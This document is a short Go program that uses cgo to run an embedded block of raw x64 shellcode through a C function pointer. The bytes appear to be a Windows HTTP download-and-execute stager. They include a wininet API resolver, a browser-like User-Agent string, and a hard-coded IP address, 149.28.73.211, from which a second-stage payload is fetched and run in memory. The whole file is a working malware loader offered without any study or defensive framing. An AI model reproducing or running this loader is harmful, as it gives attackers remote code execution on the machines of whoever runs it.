package main
/*
call(char *code) {
    int (*ret)() = (int(*)())code;
    ret();
}
*/
import "C"
import "unsafe"

func main() {
	// at your call site, you can send the shellcode directly to the C
	// function by converting it to a pointer of the correct type.
	var shellcode = []byte("\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xfb\x20\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x56\x31\x6a\x6c\x00\x9a\xf6\x5a\x16\xda\x4d\x88\x1d\x40\x61\x33\x17\xe2\x11\x92\xcb\xf7\xb4\x47\x4a\xfd\xca\xbc\xf0\x6e\xa6\xa9\x88\x46\x05\x13\xef\xc9\x3d\x96\xe8\x0d\x1a\xe9\xf3\x04\xd8\x73\xb3\xd7\x03\x0d\xfc\x13\x43\x0c\x2e\xf9\xaf\xa9\x7c\x3a\x1a\xe1\xa3\x75\xfe\x1e\x16\xdb\x79\x68\x1e\x49\x87\xc9\xd9\x43\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x33\x2e\x30\x2e\x34\x35\x30\x36\x2e\x32\x31\x35\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x33\x2e\x35\x2e\x33\x30\x37\x32\x39\x29\x0d\x0a\x00\xdf\x92\x75\x88\xa0\x14\x87\x19\x11\x85\xa1\x5e\x3a\x5b\xde\x5d\xa8\x76\x39\xbf\xce\x29\x6b\x6d\x75\x14\x23\xde\x38\x1e\x47\xcd\x5c\x5d\x73\xe4\x29\xfc\xcd\xb3\xef\xdf\x87\x9f\x18\x33\x3d\xf7\xbb\xec\x12\x5a\xdc\x4d\xb4\x2e\x1f\x49\xb7\x75\x3c\xc8\x08\xc1\xee\xfa\x18\xcc\xbf\x75\xe5\xcd\xf0\x74\x7b\x77\xad\x42\x21\x6f\x5c\x11\xdd\xdf\xa0\x1a\x64\xc3\xae\x73\x64\xc8\xdb\x87\xbb\x40\xac\x08\xab\x07\xf0\x4e\xbe\x33\xd7\x95\x99\xd6\x5d\x3b\x53\x03\x45\x90\xc0\xeb\x89\x50\xa5\xb7\x5a\x0b\xd5\x54\xce\xa5\x0a\xda\x57\xd6\xa4\xea\xf2\x4c\x1f\x00\xa2\x4f\x55\x19\x10\xa5\xf2\x10\x8a\x50\x8c\x4b\xc3\x15\x83\x74\xcb\xdc\xc5\x22\xa9\xd0\xc3\xe9\x9b\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x34\x39\x2e\x32\x38\x2e\x37\x33\x2e\x32\x31\x31\x00\x12\x34\x56\x78")

	C.call((*C.char)(unsafe.Pointer(&shellcode[0])))
}